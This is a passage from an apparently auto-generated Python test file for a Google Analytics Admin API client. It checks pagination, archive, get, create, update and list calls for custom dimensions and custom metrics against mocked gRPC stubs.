analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
],
),
RuntimeError,
)
pages = list(client.list_custom_dimensions(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_custom_dimensions_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
resources.CustomDimension(),
],
next_page_token="abc",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[], next_page_token="def",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[resources.CustomDimension(),], next_page_token="ghi",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
],
),
RuntimeError,
)
async_pager = await client.list_custom_dimensions(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.CustomDimension) for i in responses)
@pytest.mark.asyncio
async def test_list_custom_dimensions_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
resources.CustomDimension(),
],
next_page_token="abc",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[], next_page_token="def",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[resources.CustomDimension(),], next_page_token="ghi",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_custom_dimensions(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_archive_custom_dimension(
transport: str = "grpc", request_type=analytics_admin.ArchiveCustomDimensionRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.archive_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ArchiveCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_archive_custom_dimension_from_dict():
test_archive_custom_dimension(request_type=dict)
def test_archive_custom_dimension_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_dimension), "__call__"
) as call:
client.archive_custom_dimension()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ArchiveCustomDimensionRequest()
@pytest.mark.asyncio
async def test_archive_custom_dimension_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ArchiveCustomDimensionRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.archive_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ArchiveCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_archive_custom_dimension_async_from_dict():
await test_archive_custom_dimension_async(request_type=dict)
def test_archive_custom_dimension_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ArchiveCustomDimensionRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_dimension), "__call__"
) as call:
call.return_value = None
client.archive_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_archive_custom_dimension_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ArchiveCustomDimensionRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_dimension), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.archive_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_archive_custom_dimension_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.archive_custom_dimension(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_archive_custom_dimension_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.archive_custom_dimension(
analytics_admin.ArchiveCustomDimensionRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_archive_custom_dimension_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.archive_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.archive_custom_dimension(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_archive_custom_dimension_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.archive_custom_dimension(
analytics_admin.ArchiveCustomDimensionRequest(), name="name_value",
)
def test_get_custom_dimension(
transport: str = "grpc", request_type=analytics_admin.GetCustomDimensionRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
scope=resources.CustomDimension.DimensionScope.EVENT,
disallow_ads_personalization=True,
)
response = client.get_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomDimension)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.scope == resources.CustomDimension.DimensionScope.EVENT
assert response.disallow_ads_personalization is True
def test_get_custom_dimension_from_dict():
test_get_custom_dimension(request_type=dict)
def test_get_custom_dimension_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_dimension), "__call__"
) as call:
client.get_custom_dimension()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetCustomDimensionRequest()
@pytest.mark.asyncio
async def test_get_custom_dimension_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetCustomDimensionRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
scope=resources.CustomDimension.DimensionScope.EVENT,
disallow_ads_personalization=True,
)
)
response = await client.get_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomDimension)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.scope == resources.CustomDimension.DimensionScope.EVENT
assert response.disallow_ads_personalization is True
@pytest.mark.asyncio
async def test_get_custom_dimension_async_from_dict():
await test_get_custom_dimension_async(request_type=dict)
def test_get_custom_dimension_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetCustomDimensionRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_dimension), "__call__"
) as call:
call.return_value = resources.CustomDimension()
client.get_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_custom_dimension_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetCustomDimensionRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_dimension), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension()
)
await client.get_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_custom_dimension_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_custom_dimension(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_custom_dimension_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_custom_dimension(
analytics_admin.GetCustomDimensionRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_custom_dimension_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_custom_dimension(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_custom_dimension_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_custom_dimension(
analytics_admin.GetCustomDimensionRequest(), name="name_value",
)
def test_create_custom_metric(
transport: str = "grpc", request_type=analytics_admin.CreateCustomMetricRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
measurement_unit=resources.CustomMetric.MeasurementUnit.STANDARD,
scope=resources.CustomMetric.MetricScope.EVENT,
)
response = client.create_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateCustomMetricRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomMetric)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.measurement_unit == resources.CustomMetric.MeasurementUnit.STANDARD
assert response.scope == resources.CustomMetric.MetricScope.EVENT
def test_create_custom_metric_from_dict():
test_create_custom_metric(request_type=dict)
def test_create_custom_metric_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_metric), "__call__"
) as call:
client.create_custom_metric()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateCustomMetricRequest()
@pytest.mark.asyncio
async def test_create_custom_metric_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateCustomMetricRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
measurement_unit=resources.CustomMetric.MeasurementUnit.STANDARD,
scope=resources.CustomMetric.MetricScope.EVENT,
)
)
response = await client.create_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateCustomMetricRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomMetric)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.measurement_unit == resources.CustomMetric.MeasurementUnit.STANDARD
assert response.scope == resources.CustomMetric.MetricScope.EVENT
@pytest.mark.asyncio
async def test_create_custom_metric_async_from_dict():
await test_create_custom_metric_async(request_type=dict)
def test_create_custom_metric_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateCustomMetricRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_metric), "__call__"
) as call:
call.return_value = resources.CustomMetric()
client.create_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_custom_metric_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateCustomMetricRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_metric), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric()
)
await client.create_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_custom_metric_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_custom_metric(
parent="parent_value",
custom_metric=resources.CustomMetric(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].custom_metric == resources.CustomMetric(name="name_value")
def test_create_custom_metric_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_custom_metric(
analytics_admin.CreateCustomMetricRequest(),
parent="parent_value",
custom_metric=resources.CustomMetric(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_custom_metric_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_custom_metric(
parent="parent_value",
custom_metric=resources.CustomMetric(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].custom_metric == resources.CustomMetric(name="name_value")
@pytest.mark.asyncio
async def test_create_custom_metric_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_custom_metric(
analytics_admin.CreateCustomMetricRequest(),
parent="parent_value",
custom_metric=resources.CustomMetric(name="name_value"),
)
def test_update_custom_metric(
transport: str = "grpc", request_type=analytics_admin.UpdateCustomMetricRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
measurement_unit=resources.CustomMetric.MeasurementUnit.STANDARD,
scope=resources.CustomMetric.MetricScope.EVENT,
)
response = client.update_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateCustomMetricRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomMetric)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.measurement_unit == resources.CustomMetric.MeasurementUnit.STANDARD
assert response.scope == resources.CustomMetric.MetricScope.EVENT
def test_update_custom_metric_from_dict():
test_update_custom_metric(request_type=dict)
def test_update_custom_metric_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_metric), "__call__"
) as call:
client.update_custom_metric()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateCustomMetricRequest()
@pytest.mark.asyncio
async def test_update_custom_metric_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateCustomMetricRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
measurement_unit=resources.CustomMetric.MeasurementUnit.STANDARD,
scope=resources.CustomMetric.MetricScope.EVENT,
)
)
response = await client.update_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateCustomMetricRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomMetric)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.measurement_unit == resources.CustomMetric.MeasurementUnit.STANDARD
assert response.scope == resources.CustomMetric.MetricScope.EVENT
@pytest.mark.asyncio
async def test_update_custom_metric_async_from_dict():
await test_update_custom_metric_async(request_type=dict)
def test_update_custom_metric_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateCustomMetricRequest()
request.custom_metric.name = "custom_metric.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_metric), "__call__"
) as call:
call.return_value = resources.CustomMetric()
client.update_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"custom_metric.name=custom_metric.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_custom_metric_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateCustomMetricRequest()
request.custom_metric.name = "custom_metric.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_metric), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric()
)
await client.update_custom_metric(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"custom_metric.name=custom_metric.name/value",
) in kw["metadata"]
def test_update_custom_metric_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_custom_metric(
custom_metric=resources.CustomMetric(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].custom_metric == resources.CustomMetric(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_custom_metric_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_custom_metric(
analytics_admin.UpdateCustomMetricRequest(),
custom_metric=resources.CustomMetric(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_custom_metric_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_metric), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomMetric()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomMetric()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_custom_metric(
custom_metric=resources.CustomMetric(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].custom_metric == resources.CustomMetric(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_custom_metric_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_custom_metric(
analytics_admin.UpdateCustomMetricRequest(),
custom_metric=resources.CustomMetric(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_list_custom_metrics(
transport: str = "grpc", request_type=analytics_admin.ListCustomMetricsRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListCustomMetricsResponse(
next_page_token="next_page_token_value",
)
response = client.list_custom_metrics(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListCustomMetricsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCustomMetricsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_custom_metrics_from_dict():
test_list_custom_metrics(request_type=dict)
def test_list_custom_metrics_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_metrics), "__call__"
) as call:
client.list_custom_metrics()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListCustomMetricsRequest()
@pytest.mark.asyncio
async def test_list_custom_metrics_async(
transport: str = "grpc_asyncio",
